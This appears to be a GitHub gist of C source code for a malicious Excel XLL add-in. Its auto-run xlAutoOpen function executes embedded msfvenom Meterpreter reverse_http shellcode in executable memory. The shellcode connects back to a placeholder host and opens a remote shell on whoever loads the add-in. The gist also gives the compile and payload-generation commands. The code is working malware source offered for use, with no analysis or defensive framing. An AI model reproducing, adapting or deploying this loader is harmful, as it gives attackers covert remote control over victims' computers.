-
-
Save djhohnstein/1daa1fa492d901a0546dd8ec093dd30e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Compile with: cl.exe x86_meterpreter_reverse_http.c /LD /o x86_meterpreter_reverse_http.xll | |
#include <Windows.h> | |
__declspec(dllexport) void __cdecl xlAutoOpen(void); | |
DWORD WINAPI ThreadFunction(LPVOID lpParameter) | |
{ | |
// Payload obtained via "msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=any.website.com LPORT=80 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f c" | |
unsigned char b[] = | |
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" | |
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" | |
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" | |
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" | |
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" | |
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" | |
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" | |
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" | |
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" | |
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c" | |
"\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56" | |
"\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x6a\x50\xe8\x37\x01" | |
"\x00\x00\x2f\x4d\x4c\x71\x4e\x48\x77\x66\x52\x64\x69\x4f\x65" | |
"\x57\x70\x39\x62\x78\x79\x32\x53\x4d\x67\x74\x46\x42\x65\x31" | |
"\x45\x46\x58\x48\x55\x31\x78\x6b\x31\x4b\x69\x2d\x2d\x4f\x36" | |
"\x48\x71\x34\x58\x57\x36\x51\x57\x43\x2d\x6a\x37\x76\x57\x37" | |
"\x45\x38\x49\x49\x33\x6b\x64\x31\x4e\x4c\x4f\x76\x69\x67\x52" | |
"\x62\x70\x53\x71\x42\x4d\x58\x46\x39\x31\x69\x55\x7a\x73\x48" | |
"\x62\x58\x4c\x37\x2d\x6f\x48\x4d\x79\x41\x79\x6d\x71\x36\x71" | |
"\x5f\x75\x71\x34\x30\x4c\x4c\x61\x54\x6e\x36\x62\x39\x6e\x4c" | |
"\x5f\x59\x70\x50\x50\x69\x2d\x36\x67\x63\x44\x79\x51\x48\x4c" | |
"\x62\x76\x44\x5a\x33\x55\x39\x43\x56\x78\x72\x75\x47\x56\x68" | |
"\x63\x37\x50\x44\x6e\x4a\x77\x30\x47\x2d\x6c\x52\x70\x68\x39" | |
"\x2d\x6e\x39\x50\x4a\x59\x53\x6c\x6e\x5f\x49\x71\x49\x67\x53" | |
"\x51\x33\x41\x34\x33\x56\x37\x59\x5a\x69\x73\x57\x6f\x75\x72" | |
"\x61\x41\x4b\x6f\x64\x46\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5" | |
"\x89\xc6\x53\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68" | |
"\xeb\x55\x2e\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56" | |
"\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x08\x4f\x75\xed\xe8" | |
"\x4c\x00\x00\x00\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" | |
"\x00\x53\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57" | |
"\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85" | |
"\xc0\x74\xcf\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8" | |
"\x8b\xff\xff\xff\x61\x6e\x79\x2e\x77\x65\x62\x73\x69\x74\x65" | |
"\x2e\x63\x6f\x6d\x00\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; | |
void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
memcpy(exec, b, sizeof b); | |
((void(*)())exec)(); | |
return 1; | |
} | |
void __cdecl xlAutoOpen() { | |
HANDLE threadHandle; | |
// Create a thread and close the handle as we do not want to use it to wait for it | |
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL); | |
CloseHandle(threadHandle); | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment